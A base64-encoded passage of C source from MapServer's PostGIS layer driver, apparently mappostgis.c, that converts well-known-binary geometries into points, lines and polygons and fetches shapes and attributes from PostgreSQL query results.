aGFwZS0+dHlwZSA9IE1TX1NIQVBFX1BPSU5UOwoJCQltZW1jcHkoJmxpbmUubnVtcG9pbnRzLCAm
d2tiW29mZnNldCs1XSw0KTsgLy9udW0gcG9pbnRzCgkJCWxpbmUucG9pbnQgPSAocG9pbnRPYmog
KikgbWFsbG9jIChzaXplb2YocG9pbnRPYmopKiBsaW5lLm51bXBvaW50cyApOyAvL3BvaW50IHN0
cnVjdAoJCQlmb3IodT0wO3U8bGluZS5udW1wb2ludHMgOyB1KyspCgkJCXsKCQkJCW1lbWNweSgg
JmxpbmUucG9pbnRbdV0ueCAsICZ3a2Jbb2Zmc2V0KzkgKyAoMTYgKiB1KV0sIDgpOwoJCQkJbWVt
Y3B5KCAmbGluZS5wb2ludFt1XS55ICwgJndrYltvZmZzZXQrOSArICgxNiAqIHUpKzhdLCA4KTsK
CQkJfQoJCQlvZmZzZXQgKz0gOSArKDE2KSpsaW5lLm51bXBvaW50czsgIC8vbGVuZ3RoIG9mIG9i
amVjdAoJCQltc0FkZExpbmUoc2hhcGUsJmxpbmUpOwoJCQlmcmVlKGxpbmUucG9pbnQpOwoJCX0K
CQlpZiAodHlwZSA9PSAzKSAvL3BvbHlnb24KCQl7CgkJCXNoYXBlLT50eXBlID0gTVNfU0hBUEVf
UE9JTlQ7CgkJCW1lbWNweSgmbnJpbmdzLCAmd2tiW29mZnNldCs1XSw0KTsgLy9udW0gcmluZ3MK
CQkJLy9hZGQgYSBsaW5lIGZvciBlYWNoIHBvbHlnb24gcmluZwoJCQlwdF9vZmZzZXQgPSAwOwoJ
CQlvZmZzZXQgKz0gOTsgLy9ub3cgcG9pbnRzIGF0IDFzdCBsaW5lYXIgcmluZwoJCQlmb3IgKHU9
MDt1PG5yaW5nczt1KyspCS8vZm9yIGVhY2ggcmluZywgbWFrZSBhIGxpbmUKCQkJewoJCQkJbWVt
Y3B5KCZucG9pbnRzLCAmd2tiW29mZnNldF0sNCk7IC8vbnVtIHBvaW50cwoJCQkJbGluZS5udW1w
b2ludHMgPSBucG9pbnRzOwoJCQkJbGluZS5wb2ludCA9IChwb2ludE9iaiAqKSBtYWxsb2MgKHNp
emVvZihwb2ludE9iaikqIG5wb2ludHMpOyAvL3BvaW50IHN0cnVjdAoJCQkJZm9yKHY9MDt2PG5w
b2ludHM7disrKQoJCQkJewoJCQkJCW1lbWNweSggJmxpbmUucG9pbnRbdl0ueCAsICZ3a2Jbb2Zm
c2V0KzQgKyAoMTYgKiB2KV0sIDgpOwoJCQkJCW1lbWNweSggJmxpbmUucG9pbnRbdl0ueSAsICZ3
a2Jbb2Zmc2V0KzQgKyAoMTYgKiB2KSs4XSwgOCk7CgkJCQl9CgkJCQkvL21ha2Ugb2Zmc2V0IHBv
aW50IHRvIG5leHQgbGluZWFyIHJpbmcKCQkJCW1zQWRkTGluZShzaGFwZSwmbGluZSk7CgkJCQlm
cmVlKGxpbmUucG9pbnQpOwoJCQkJb2Zmc2V0ICs9IDQrICgxNikqbnBvaW50czsKCQkJfQoJCX0K
CX0KCglyZXR1cm4oTVNfU1VDQ0VTUyk7Cn0KCi8vY29udmVydCB0aGUgd2tiIGludG8gbGluZXMK
Ly8gIHBvaW50cy0+IHJlbW92ZQovLyAgbGluZXMgLT4gcGFzcyB0aHJvdWdoCi8vICBwb2x5cyAt
PiB0cmVhdCByaW5ncyBhcyBsaW5lcwoKaW50CWZvcmNlX3RvX2xpbmVzKGNoYXIJKndrYiwgc2hh
cGVPYmogKnNoYXBlKQp7CglpbnQgb2Zmc2V0ID0wLHB0X29mZnNldDsKCWludCBuZ2VvbXMgOwoJ
aW50CXQsdSx2OwoJaW50CXR5cGUsbnJpbmdzLG5wb2ludHM7CglsaW5lT2JqCWxpbmU9ezAsTlVM
TH07CgoKCXNoYXBlLT50eXBlID0gTVNfU0hBUEVfTlVMTDsgIC8vbm90aGluZyBpbiBpdAoKCW1l
bWNweSggJm5nZW9tcywgJndrYls1XSwgNCk7CglvZmZzZXQgPSA5OyAgLy93ZXJlIHRoZSBmaXJz
dCBnZW9tZXRyeSBpcwoJZm9yICh0PTA7IHQ8bmdlb21zOyB0KyspCgl7CgkJbWVtY3B5KCAmdHlw
ZSwgJndrYltvZmZzZXQrMV0sIDQpOyAgLy8gdHlwZSBvZiB0aGlzIGdlb21ldHJ5CgoJCS8vY2Fu
bm90IGRvIGFueXRoaW5nIHdpdGggYSBwb2ludAoKCQlpZiAodHlwZSA9PSAyKSAvL2xpbmVzdHJp
bmcKCQl7CgkJCXNoYXBlLT50eXBlID0gTVNfU0hBUEVfTElORTsKCQkJbWVtY3B5KCZsaW5lLm51
bXBvaW50cywgJndrYltvZmZzZXQrNV0sNCk7IC8vbnVtIHBvaW50cwoJCQlsaW5lLnBvaW50ID0g
KHBvaW50T2JqICopIG1hbGxvYyAoc2l6ZW9mKHBvaW50T2JqKSogbGluZS5udW1wb2ludHMgKTsg
Ly9wb2ludCBzdHJ1Y3QKCQkJZm9yKHU9MDt1PGxpbmUubnVtcG9pbnRzIDsgdSsrKQoJCQl7CgkJ
CQltZW1jcHkoICZsaW5lLnBvaW50W3VdLnggLCAmd2tiW29mZnNldCs5ICsgKDE2ICogdSldLCA4
KTsKCQkJCW1lbWNweSggJmxpbmUucG9pbnRbdV0ueSAsICZ3a2Jbb2Zmc2V0KzkgKyAoMTYgKiB1
KSs4XSwgOCk7CgkJCX0KCQkJb2Zmc2V0ICs9IDkgKygxNikqbGluZS5udW1wb2ludHM7ICAvL2xl
bmd0aCBvZiBvYmplY3QKCQkJbXNBZGRMaW5lKHNoYXBlLCZsaW5lKTsKCQkJZnJlZShsaW5lLnBv
aW50KTsKCQl9CgkJaWYgKHR5cGUgPT0gMykgLy9wb2x5Z29uCgkJewoJCQlzaGFwZS0+dHlwZSA9
IE1TX1NIQVBFX0xJTkU7CgkJCW1lbWNweSgmbnJpbmdzLCAmd2tiW29mZnNldCs1XSw0KTsgLy9u
dW0gcmluZ3MKCQkJLy9hZGQgYSBsaW5lIGZvciBlYWNoIHBvbHlnb24gcmluZwoJCQlwdF9vZmZz
ZXQgPSAwOwoJCQlvZmZzZXQgKz0gOTsgLy9ub3cgcG9pbnRzIGF0IDFzdCBsaW5lYXIgcmluZwoJ
CQlmb3IgKHU9MDt1PG5yaW5nczt1KyspCS8vZm9yIGVhY2ggcmluZywgbWFrZSBhIGxpbmUKCQkJ
ewoJCQkJbWVtY3B5KCZucG9pbnRzLCAmd2tiW29mZnNldF0sNCk7IC8vbnVtIHBvaW50cwoJCQkJ
bGluZS5udW1wb2ludHMgPSBucG9pbnRzOwoJCQkJbGluZS5wb2ludCA9IChwb2ludE9iaiAqKSBt
YWxsb2MgKHNpemVvZihwb2ludE9iaikqIG5wb2ludHMpOyAvL3BvaW50IHN0cnVjdAoJCQkJZm9y
KHY9MDt2PG5wb2ludHM7disrKQoJCQkJewoJCQkJCW1lbWNweSggJmxpbmUucG9pbnRbdl0ueCAs
ICZ3a2Jbb2Zmc2V0KzQgKyAoMTYgKiB2KV0sIDgpOwoJCQkJCW1lbWNweSggJmxpbmUucG9pbnRb
dl0ueSAsICZ3a2Jbb2Zmc2V0KzQgKyAoMTYgKiB2KSs4XSwgOCk7CgkJCQl9CgkJCQkvL21ha2Ug
b2Zmc2V0IHBvaW50IHRvIG5leHQgbGluZWFyIHJpbmcKCQkJCW1zQWRkTGluZShzaGFwZSwmbGlu
ZSk7CgkJCQlmcmVlKGxpbmUucG9pbnQpOwoJCQkJb2Zmc2V0ICs9IDQrICgxNikqbnBvaW50czsK
CQkJfQoJCX0KCX0KCXJldHVybihNU19TVUNDRVNTKTsKfQoKLy8gcG9pbnQgICAtPiByZWplY3QK
Ly8gbGluZSAgICAtPiByZWplY3QKLy8gcG9seWdvbiAtPiBsaW5lcyBvZiBsaW5lYXIgcmluZ3MK
aW50CWZvcmNlX3RvX3BvbHlnb25zKGNoYXIJKndrYiwgc2hhcGVPYmogKnNoYXBlKQp7CgoJaW50
IG9mZnNldCA9MCxwdF9vZmZzZXQ7CglpbnQgbmdlb21zIDsKCWludAl0LHUsdjsKCWludAl0eXBl
LG5yaW5ncyxucG9pbnRzOwoJbGluZU9iaglsaW5lPXswLE5VTEx9OwoKCglzaGFwZS0+dHlwZSA9
IE1TX1NIQVBFX05VTEw7ICAvL25vdGhpbmcgaW4gaXQKCgltZW1jcHkoICZuZ2VvbXMsICZ3a2Jb
NV0sIDQpOwoJb2Zmc2V0ID0gOTsgIC8vd2VyZSB0aGUgZmlyc3QgZ2VvbWV0cnkgaXMKCWZvciAo
dD0wOyB0PG5nZW9tczsgdCsrKQoJewoJCW1lbWNweSggJnR5cGUsICZ3a2Jbb2Zmc2V0KzFdLCA0
KTsgIC8vIHR5cGUgb2YgdGhpcyBnZW9tZXRyeQoKCQlpZiAodHlwZSA9PSAzKSAvL3BvbHlnb24K
CQl7CgkJCXNoYXBlLT50eXBlID0gTVNfU0hBUEVfUE9MWUdPTjsKCQkJbWVtY3B5KCZucmluZ3Ms
ICZ3a2Jbb2Zmc2V0KzVdLDQpOyAvL251bSByaW5ncwoJCQkvL2FkZCBhIGxpbmUgZm9yIGVhY2gg
cG9seWdvbiByaW5nCgkJCXB0X29mZnNldCA9IDA7CgkJCW9mZnNldCArPSA5OyAvL25vdyBwb2lu
dHMgYXQgMXN0IGxpbmVhciByaW5nCgkJCWZvciAodT0wO3U8bnJpbmdzO3UrKykJLy9mb3IgZWFj
aCByaW5nLCBtYWtlIGEgbGluZQoJCQl7CgkJCQltZW1jcHkoJm5wb2ludHMsICZ3a2Jbb2Zmc2V0
XSw0KTsgLy9udW0gcG9pbnRzCgkJCQlsaW5lLm51bXBvaW50cyA9IG5wb2ludHM7CgkJCQlsaW5l
LnBvaW50ID0gKHBvaW50T2JqICopIG1hbGxvYyAoc2l6ZW9mKHBvaW50T2JqKSogbnBvaW50cyk7
IC8vcG9pbnQgc3RydWN0CgkJCQlmb3Iodj0wO3Y8bnBvaW50czt2KyspCgkJCQl7CgkJCQkJbWVt
Y3B5KCAmbGluZS5wb2ludFt2XS54ICwgJndrYltvZmZzZXQrNCArICgxNiAqIHYpXSwgOCk7CgkJ
CQkJbWVtY3B5KCAmbGluZS5wb2ludFt2XS55ICwgJndrYltvZmZzZXQrNCArICgxNiAqIHYpKzhd
LCA4KTsKCQkJCX0KCQkJCS8vbWFrZSBvZmZzZXQgcG9pbnQgdG8gbmV4dCBsaW5lYXIgcmluZwoJ
CQkJbXNBZGRMaW5lKHNoYXBlLCZsaW5lKTsKCQkJCWZyZWUobGluZS5wb2ludCk7CgkJCQlvZmZz
ZXQgKz0gNCsgKDE2KSpucG9pbnRzOwoJCQl9CgkJfQoJfQoJcmV0dXJuKE1TX1NVQ0NFU1MpOwp9
CgovLyBpZiB0aGVyZSBpcyBhbnkgcG9seWdvbiBpbiB3a2IsIHJldHVybiBmb3JjZV9wb2x5Z29u
Ci8vIGlmIHRoZXJlIGlzIGFueSBsaW5lIGluIHdrYiwgcmV0dXJuIGZvcmNlX2xpbmUKLy8gb3Ro
ZXJ3aXNlIHJldHVybiBmb3JjZV9wb2ludAoKaW50CWRvbnRfZm9yY2UoY2hhcgkqd2tiLCBzaGFw
ZU9iaiAqc2hhcGUpCnsKCWludCBvZmZzZXQgPTA7CglpbnQgbmdlb21zIDsKCWludAl0eXBlLHQ7
CglpbnQJCWJlc3RfdHlwZTsKCi8vcHJpbnRmKCJkb250IGZvcmNlIik7CgoJYmVzdF90eXBlID0g
TVNfU0hBUEVfTlVMTDsgIC8vbm90aGluZyBpbiBpdAoKCW1lbWNweSggJm5nZW9tcywgJndrYls1
XSwgNCk7CglvZmZzZXQgPSA5OyAgLy93ZXJlIHRoZSBmaXJzdCBnZW9tZXRyeSBpcwoJZm9yICh0
PTA7IHQ8bmdlb21zOyB0KyspCgl7CgkJbWVtY3B5KCAmdHlwZSwgJndrYltvZmZzZXQrMV0sIDQp
OyAgLy8gdHlwZSBvZiB0aGlzIGdlb21ldHJ5CgoJCWlmICh0eXBlID09IDMpIC8vcG9seWdvbgoJ
CXsKCQkJYmVzdF90eXBlID0gTVNfU0hBUEVfUE9MWUdPTjsKCQl9CgkJaWYgKCAodHlwZSA9PTIp
ICYmICggYmVzdF90eXBlICE9IE1TX1NIQVBFX1BPTFlHT04pICkKCQl7CgkJCWJlc3RfdHlwZSA9
IE1TX1NIQVBFX0xJTkU7CgkJfQoJCWlmICggICAodHlwZT09MSkgJiYgKGJlc3RfdHlwZSA9PSBN
U19TSEFQRV9OVUxMKSApCgkJewoJCQliZXN0X3R5cGUgPSBNU19TSEFQRV9QT0lOVDsKCQl9Cgl9
CgoJaWYgKGJlc3RfdHlwZSA9PSBNU19TSEFQRV9QT0lOVCkKCXsKCQlyZXR1cm4gZm9yY2VfdG9f
cG9pbnRzKHdrYixzaGFwZSk7Cgl9CglpZiAoYmVzdF90eXBlID09IE1TX1NIQVBFX0xJTkUpCgl7
CgkJcmV0dXJuIGZvcmNlX3RvX2xpbmVzKHdrYixzaGFwZSk7Cgl9CglpZiAoYmVzdF90eXBlID09
IE1TX1NIQVBFX1BPTFlHT04pCgl7CgkJcmV0dXJuIGZvcmNlX3RvX3BvbHlnb25zKHdrYixzaGFw
ZSk7Cgl9CgoKCXJldHVybihNU19GQUlMVVJFKTsgLy91bmtub3duIHR5cGUKfQoKLy9maW5kIHRo
ZSBib3VuZHMgb2YgdGhlIHNoYXBlCnZvaWQgZmluZF9ib3VuZHMoc2hhcGVPYmogKnNoYXBlKQp7
CglpbnQgdCx1OwoJaW50IGZpcnN0X29uZSA9IDE7CgoJZm9yICh0PTA7IHQ8IHNoYXBlLT5udW1s
aW5lczsgdCsrKQoJewoJCWZvcih1PTA7dTxzaGFwZS0+bGluZVt0XS5udW1wb2ludHM7IHUrKykK
CQl7CgkJCWlmIChmaXJzdF9vbmUpCgkJCXsKCQkJCXNoYXBlLT5ib3VuZHMubWlueCA9IHNoYXBl
LT5saW5lW3RdLnBvaW50W3VdLng7CgkJCQlzaGFwZS0+Ym91bmRzLm1heHggPSBzaGFwZS0+bGlu
ZVt0XS5wb2ludFt1XS54OwoKCQkJCXNoYXBlLT5ib3VuZHMubWlueSA9IHNoYXBlLT5saW5lW3Rd
LnBvaW50W3VdLnk7CgkJCQlzaGFwZS0+Ym91bmRzLm1heHkgPSBzaGFwZS0+bGluZVt0XS5wb2lu
dFt1XS55OwoJCQkJZmlyc3Rfb25lID0gMDsKCQkJfQoJCQllbHNlCgkJCXsKCQkJCWlmIChzaGFw
ZS0+bGluZVt0XS5wb2ludFt1XS54IDwgc2hhcGUtPmJvdW5kcy5taW54KQoJCQkJCXNoYXBlLT5i
b3VuZHMubWlueCA9IHNoYXBlLT5saW5lW3RdLnBvaW50W3VdLng7CgkJCQlpZiAoc2hhcGUtPmxp
bmVbdF0ucG9pbnRbdV0ueCA+IHNoYXBlLT5ib3VuZHMubWF4eCkKCQkJCQlzaGFwZS0+Ym91bmRz
Lm1heHggPSBzaGFwZS0+bGluZVt0XS5wb2ludFt1XS54OwoKCQkJCWlmIChzaGFwZS0+bGluZVt0
XS5wb2ludFt1XS55IDwgc2hhcGUtPmJvdW5kcy5taW55KQoJCQkJCXNoYXBlLT5ib3VuZHMubWlu
eSA9IHNoYXBlLT5saW5lW3RdLnBvaW50W3VdLnk7CgkJCQlpZiAoc2hhcGUtPmxpbmVbdF0ucG9p
bnRbdV0ueSA+IHNoYXBlLT5ib3VuZHMubWF4eSkKCQkJCQlzaGFwZS0+Ym91bmRzLm1heHkgPSBz
aGFwZS0+bGluZVt0XS5wb2ludFt1XS55OwoKCQkJfQoJCX0KCX0KfQoKCi8vZmluZCB0aGUgbmV4
dCBzaGFwZSB3aXRoIHRoZSBhcHByb3ByaWF0ZSBzaGFwZSB0eXBlIChjb252ZXJ0IGl0IGlmIG5l
Y2Vzc2FyeSkKLy8gYWxzbywgbG9hZCBpbiB0aGUgYXR0cmlidXRlIGRhdGEKLy9NU19ET05FID0+
IG5vIG1vcmUgZGF0YQoKaW50IG1zUE9TVEdJU0xheWVyTmV4dFNoYXBlKGxheWVyT2JqICpsYXll
ciwgc2hhcGVPYmogKnNoYXBlKQp7CglpbnQJcmVzdWx0OwoKCW1zUE9TVEdJU0xheWVySW5mbwkq
bGF5ZXJpbmZvOwoKCWxheWVyaW5mbyA9IGdldFBvc3RHSVNMYXllckluZm8obGF5ZXIpOwoKCi8v
ZnByaW50ZihzdGRlcnIsIm1zUE9TVEdJU0xheWVyTmV4dFNoYXBlIGNhbGxlZFxuIik7CgoJaWYg
KGxheWVyaW5mbyA9PSBOVUxMKQoJewogICAgICAgIAltc1NldEVycm9yKE1TX1FVRVJZRVJSLCAi
TmV4dFNoYXBlIGNhbGxlZCB3aXRoIGxheWVyaW5mbyA9IE5VTEwiLAogICAgICAgICAgICAgICAg
ICJtc1BPU1RHSVNMYXllck5leHRTaGFwZSgpIik7CgkJcmV0dXJuKE1TX0ZBSUxVUkUpOwoJfQoK
CglyZXN1bHQ9IG1zUE9TVEdJU0xheWVyR2V0U2hhcGVSYW5kb20obGF5ZXIsIHNoYXBlLCAmKGxh
eWVyaW5mby0+cm93X251bSkgICApOwoJLy8gZ2V0c2hhcGVyYW5kb20gd2lsbCBpbmNyZW1lbnQg
dGhlIHJvd19udW0KCS8vbGF5ZXJpbmZvLT5yb3dfbnVtICAgKys7CgoJcmV0dXJuIHJlc3VsdDsK
fQoKCgovL1VzZWQgYnkgTmV4dFNoYXBlKCkgdG8gYWNjZXNzIGEgc2hhcGUgaW4gdGhlIHF1ZXJ5
IHNldAovLyBUT0RPOiBvbmx5IGZldGNoIDEwMDAgcm93cyBhdCBhIHRpbWUuICBUaGlzIHNob3Vs
ZCBjaGVjayB0byBzZWUgaWYgdGhlCi8vICAgICAgIHJlcXVlc3RlZCBmZWF0dXJlIGlzIGluIHRo
ZSBzZXQuICBJZiBpdCBpcywgcmV0dXJuIGl0LCBvdGhlcndpc2UKLy8gCSAgIGdyYWIgdGhlIG5l
eHQgMTAwMCByb3dzLgppbnQgbXNQT1NUR0lTTGF5ZXJHZXRTaGFwZVJhbmRvbShsYXllck9iaiAq
bGF5ZXIsIHNoYXBlT2JqICpzaGFwZSwgbG9uZyAqcmVjb3JkKQp7Cgltc1BPU1RHSVNMYXllcklu
Zm8JKmxheWVyaW5mbzsKCWNoYXIJCQkJKndrYjsKCWludAkJCQlyZXN1bHQsdCxzaXplOwoJY2hh
cgkJCQkqdGVtcCwqdGVtcDI7Cglsb25nCQkJCXJlY29yZF9vaWQ7CgoKCWxheWVyaW5mbyA9IGdl
dFBvc3RHSVNMYXllckluZm8oIGxheWVyKTsKCi8vZnByaW50ZihzdGRlcnIsIm1zUE9TVEdJU0xh
eWVyR2V0U2hhcGVSYW5kb20gOiBjYWxsZWQgcm93ICVsaVxuIixyZWNvcmQpOwoKCWlmIChsYXll
cmluZm8gPT0gTlVMTCkKCXsKICAgICAgICAJbXNTZXRFcnJvcihNU19RVUVSWUVSUiwgIkdldFNo
YXBlIGNhbGxlZCB3aXRoIGxheWVyaW5mbyA9IE5VTEwiLAogICAgICAgICAgICAgICAgICJtc1BP
U1RHSVNMYXllckdldFNoYXBlKCkiKTsKCQlyZXR1cm4oTVNfRkFJTFVSRSk7Cgl9CgoJaWYgKGxh
eWVyaW5mby0+Y29ubiA9PSBOVUxMKQoJewogICAgICAgIAltc1NldEVycm9yKE1TX1FVRVJZRVJS
LCAiTmV4dFNoYXBlIGNhbGxlZCBvbiBQT1NUR0lTIGxheWVyIHdpdGggbm8gY29ubmVjdGlvbiB0
byBEQi4iLAogICAgICAgICAgICAgICAgICJtc1BPU1RHSVNMYXllckdldFNoYXBlKCkiKTsKCQly
ZXR1cm4oTVNfRkFJTFVSRSk7Cgl9CgoJaWYgKGxheWVyaW5mby0+cXVlcnlfcmVzdWx0ID09IE5V
TEwpCgl7CiAgICAgICAgCW1zU2V0RXJyb3IoTVNfUVVFUllFUlIsICJHZXRTaGFwZSBjYWxsZWQg
b24gUE9TVEdJUyBsYXllciB3aXRoIGludmFsaWQgREIgcXVlcnkgcmVzdWx0cy4iLAogICAgICAg
ICAgICAgICAgICJtc1BPU1RHSVNMYXllckdldFNoYXBlUmFuZG9tKCkiKTsKCQlyZXR1cm4oTVNf
RkFJTFVSRSk7Cgl9CglzaGFwZS0+dHlwZSA9IE1TX1NIQVBFX05VTEw7CgoJd2hpbGUoc2hhcGUt
PnR5cGUgPT0gTVNfU0hBUEVfTlVMTCkKCXsKCgkJaWYgKCAgKCpyZWNvcmQpIDwgUFFudHVwbGVz
KGxheWVyaW5mby0+cXVlcnlfcmVzdWx0KSApCgkJewoJCQkvL3JldHJlaXZlIGFuIGl0ZW0KCQkJ
d2tiID0gKGNoYXIgKikgUFFnZXR2YWx1ZShsYXllcmluZm8tPnF1ZXJ5X3Jlc3VsdCwgKCpyZWNv
cmQpLCBsYXllci0+bnVtaXRlbXMpOwoJCQlzd2l0Y2gobGF5ZXItPnR5cGUpCgkJCXsKCQkJCWNh
c2UgTVNfTEFZRVJfUE9JTlQ6CgkJCQkJcmVzdWx0ID0gZm9yY2VfdG9fcG9pbnRzKHdrYiwgc2hh
cGUpOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSBNU19MQVlFUl9MSU5FOgoJCQkJCXJlc3VsdCA9IGZv
cmNlX3RvX2xpbmVzKHdrYiwgc2hhcGUpOwoJCQkJCWJyZWFrOwoKCQkJCWNhc2UgTVNfTEFZRVJf
UE9MWUdPTjoKCQkJCQlyZXN1bHQgPSAJZm9yY2VfdG9fcG9seWdvbnMod2tiLCBzaGFwZSk7CgkJ
CQkJYnJlYWs7CgkJCQljYXNlIE1TX0xBWUVSX0FOTk9UQVRJT046CgkJCQljYXNlIE1TX0xBWUVS
X1FVRVJZOgoJCQkJCXJlc3VsdCA9IGRvbnRfZm9yY2Uod2tiLHNoYXBlKTsKCQkJCQlicmVhazsK
CiAgICAgICAgICAgICAgICBjYXNlIE1TX0xBWUVSX1JBU1RFUjoKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIG1zRGVidWcoICJJZ25vcmluZyBNU19MQVlFUl9SQVNURVIg
aW4gbWFwcG9zdGdpcy5jXG4iICk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgTVNfTEFZRVJfQ0lSQ0xFOgogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXNEZWJ1ZyggIklnbm9yaW5nIE1TX0xB
WUVSX1JBU1RFUiBpbiBtYXBwb3N0Z2lzLmNcbiIgKTsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIGJyZWFrOwoKCQkJfQoJCQlpZiAoc2hhcGUtPnR5cGUgIT0gTVNfU0hB
UEVfTlVMTCkKCQkJewoJCQkJLy9oYXZlIHRvIHJldHJlaXZlIHRoZSBhdHRyaWJ1dGVzCgkJCSAg
ICAgICAgc2hhcGUtPnZhbHVlcyA9IChjaGFyICoqKSBtYWxsb2Moc2l6ZW9mKGNoYXIgKikgKiBs
YXllci0+bnVtaXRlbXMpOwoJCQkJZm9yICh0PTA7dDxsYXllci0+bnVtaXRlbXM7dCsrKQoJCQkJ
ewoKCQkJCQkgdGVtcCA9IChjaGFyICopIFBRZ2V0dmFsdWUobGF5ZXJpbmZvLT5xdWVyeV9yZXN1
bHQsICgqcmVjb3JkKSwgdCk7CgkJCQkJIHNpemUgPSBQUWdldGxlbmd0aChsYXllcmluZm8tPnF1
ZXJ5X3Jlc3VsdCwoKnJlY29yZCksIHQgKSA7CgkJCQkJIHRlbXAyID0gKGNoYXIgKikgbWFsbG9j
KHNpemUrMSApOwoJCQkJCSBtZW1jcHkodGVtcDIsIHRlbXAsIHNpemUpOwoJCQkJCSB0ZW1wMltz
aXplXSA9IDA7IC8vbnVsbCB0ZXJtaW5hdGUgaXQKCgkJCQkJIHNoYXBlLT52YWx1ZXNbdF0gPSB0
ZW1wMjsKCQkJCX0KCQkJCXRlbXAgPSAoY2hhciAqKSBQUWdldHZhbHVlKGxheWVyaW5mby0+cXVl
cnlfcmVzdWx0LCAoKnJlY29yZCksIHQrMSk7IC8vIHQgaXMgV0tCLCB0KzEgaXMgT0lECgkJCQly
ZWNvcmRfb2lkID0gc3RydG9sICh0ZW1wLE5VTEwsMTApOwoKCQkJCXNoYXBlLT5pbmRleCA9IHJl
Y29yZF9vaWQ7CgkJCQlzaGFwZS0+bnVtdmFsdWVzID0gbGF5ZXItPm51bWl0ZW1zOwoKCQkJCWZp
bmRfYm91bmRzKHNoYXBlKTsKCQkJCSgqcmVjb3JkKSsrOyAJCS8vbW92ZSB0byBuZXh0IHNoYXBl
CgkJCQlyZXR1cm4gKE1TX1NVQ0NFU1MpOwoJCQl9CgkJCWVsc2UKCQkJewoJCQkJKCpyZWNvcmQp
Kys7IC8vbW92ZSB0byBuZXh0IHNoYXBlCgkJCX0KCQl9CgkJZWxzZQoJCXsKCQkJcmV0dXJuIChN
U19ET05FKTsKCQl9Cgl9CgoKCW1zRnJlZVNoYXBlKHNoYXBlKTsKCglyZXR1cm4oTVNfRkFJTFVS
RSk7Cn0KCgovLyBFeGVjdXRlIGEgcXVlcnkgb24gdGhlIERCIGJhc2VkIG9uIHJlY29yZCBiZWlu
ZyBhbiBPSUQuCgppbnQgbXNQT1NUR0lTTGF5ZXJHZXRTaGFwZShsYXllck9iaiAqbGF5ZXIsIHNo
YXBlT2JqICpzaGFwZSwgbG9uZyByZWNvcmQpCnsKCgljaGFyCSpxdWVyeV9zdHI7CgljaGFyCXRh
YmxlX25hbWVbNTAwMF07CgljaGFyCWdlb21fY29sdW1uX25hbWVbNTAwMF07CgljaGFyCXVyaWRf
bmFtZVs1MDAwXTsKCWNoYXIJdXNlcl9zcmlkWzUwMDBdOwoJLy9pbnQJbml0ZW1zOwoJY2hhcglj
b2x1bW5zX3dhbnRlZFs1MDAwXTsKCWNoYXIJdGVtcFs1MDAwXTsKCgoJUEdyZXN1bHQgICAqcXVl
cnlfcmVzdWx0OwoJbXNQT1NUR0lTTGF5ZXJJbmZvCSpsYXllcmluZm87CgljaGFyCQkJCSp3a2I7
CglpbnQJCQkJcmVzdWx0LHQsc2l6ZTsKCWNoYXIJCQkJKnRlbXAxLCp0ZW1wMjsKCi8vZnByaW50
ZihzdGRlcnIsIm1zUE9TVEdJU0xheWVyR2V0U2hhcGUgY2FsbGVkIGZvciByZWNvcmQgPSAlaVxu
IixyZWNvcmQpOwoKCWxheWVyaW5mbyA9IGdldFBvc3RHSVNMYXllckluZm8oIGxheWVyKSA7CgoJ
aWYgKGxheWVyaW5mbyA9PSBOVUxMKQoJewoJCS8vbGF5ZXIgbm90IG9wZW5lZCB5ZXQKCQltc1Nl
dEVycm9yKE1TX1FVRVJZRVJSLCAibXNQT1NUR0lTTGF5ZXJHZXRTaGFwZSBjYWxsZWQgb24gdW5v
cGVuZWQgbGF5ZXIgKGxheWVyaW5mbyA9IE5VTEwpIiwKICAgICAgICAgICAgICAgICAibXNQT1NU
R0lTTGF5ZXJHZXRTaGFwZSgpIik7CgkJcmV0dXJuKE1TX0ZBSUxVUkUpOwoJfQoKCXF1ZXJ5X3N0
ciA9IChjaGFyICopIG1hbGxvYyg2MDAwKTsgLy9zaG91bGQgYmUgYmlnIGVub3VnaAoJbWVtc2V0
KHF1ZXJ5X3N0ciwwLDYwMDApOwkJLy96ZXJvIGl0IG91dAoKCW1zUE9TVEdJU0xheWVyUGFyc2VE
YXRhKGxheWVyLT5kYXRhLCBnZW9tX2NvbHVtbl9uYW1lLCB0YWJsZV9uYW1lLCB1cmlkX25hbWUs
dXNlcl9zcmlkKTsKCglpZiAobGF5ZXItPm51bWl0ZW1zID09MCkgLy9kb250IG5lZWQgdGhlIG9p
ZCBzaW5jZSBpdHMgcmVhbGx5IHJlY29yZAoJewoJCWlmIChnQllURV9PUkRFUiA9PSBMSVRUTEVf
RU5ESUFOKQoJCQlzcHJpbnRmKGNvbHVtbnNfd2FudGVkLCJhc2JpbmFyeShmb3JjZV9jb2xsZWN0
aW9uKGZvcmNlXzJkKCVzKSksJ05EUicpIiwgZ2VvbV9jb2x1bW5fbmFtZSk7CgkJZWxzZQoJCQlz
cHJpbnRmKGNvbHVtbnNfd2FudGVkLCJhc2JpbmFyeShmb3JjZV9jb2xsZWN0aW9uKGZvcmNlXzJk
KCVzKSksJ1hEUicpIiwgZ2VvbV9jb2x1bW5fbmFtZSk7Cgl9CgllbHNlCgl7CgkJY29sdW1uc193
YW50ZWRbMF0gPSAwOyAvL2xlbj0wCgkJZm9yICh0PTA7dDxsYXllci0+bnVtaXRlbXM7IHQrKykK
CQl7CgkJCXNwcmludGYodGVtcCwiJXM6OnRleHQsIixsYXllci0+aXRlbXNbdF0pOwoJCQlzdHJj
YXQoY29sdW1uc193YW50ZWQsdGVtcCk7CgkJfQoJCWlmIChnQllURV9PUkRFUiA9PSBMSVRUTEVf
RU5ESUFOKQoJCQlzcHJpbnRmKHRlbXAsImFzYmluYXJ5KGZvcmNlX2NvbGxlY3Rpb24oZm9yY2Vf
MmQoJXMpKSwnTkRSJykiLCBnZW9tX2NvbHVtbl9uYW1lKTsKCQllbHNlCgkJCXNwcmludGYodGVt
cCwiYXNiaW5hcnkoZm9yY2VfY29sbGVjdGlvbihmb3JjZV8yZCglcykpLCdYRFInKSIsIGdlb21f
Y29sdW1uX25hbWUpOwoKCQlzdHJjYXQoY29sdW1uc193YW50ZWQsdGVtcCk7Cgl9CgoKCgkJc3By
